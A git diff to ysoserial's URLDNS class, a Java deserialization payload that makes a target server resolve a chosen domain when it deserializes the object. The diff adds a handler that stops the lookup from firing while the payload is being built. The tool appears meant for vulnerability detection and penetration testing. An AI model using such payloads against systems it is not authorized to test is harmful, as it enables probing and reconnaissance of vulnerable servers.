diff --git a/src/main/java/ysoserial/payloads/URLDNS.java b/src/main/java/ysoserial/payloads/URLDNS.java index 38ff44e..cec8136 100644 --- a/src/main/java/ysoserial/payloads/URLDNS.java +++ b/src/main/java/ysoserial/payloads/URLDNS.java @@ -1,13 +1,12 @@ package ysoserial.payloads; -import java.lang.reflect.InvocationHandler; +import java.io.IOException; +import java.net.InetAddress; +import java.net.URLConnection; +import java.net.URLStreamHandler; import java.util.HashMap; -import java.util.LinkedHashSet; -import java.util.Hashtable; import java.net.URL; -import javax.xml.transform.Templates; - import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -44,8 +43,13 @@ import ysoserial.payloads.util.Reflections; public class URLDNS implements ObjectPayload { public Object getObject(final String url) throws Exception { + + //Avoid DNS resolution during payload creation + //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. + URLStreamHandler handler = new SilentURLStreamHandler(); + HashMap ht = new HashMap(); // HashMap that will contain the URL - URL u = new URL(url); // URL to use as the Key + URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. @@ -57,4 +61,23 @@ public class URLDNS implements ObjectPayload { PayloadRunner.run(URLDNS.class, args); } + /** + *

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. + * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior + * using the serialized object.

+ * + * Potential false negative: + *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the + * second resolution.

+ */ + static class SilentURLStreamHandler extends URLStreamHandler { + + protected URLConnection openConnection(URL u) throws IOException { + return null; + } + + protected synchronized InetAddress getHostAddress(URL u) { + return null; + } + } }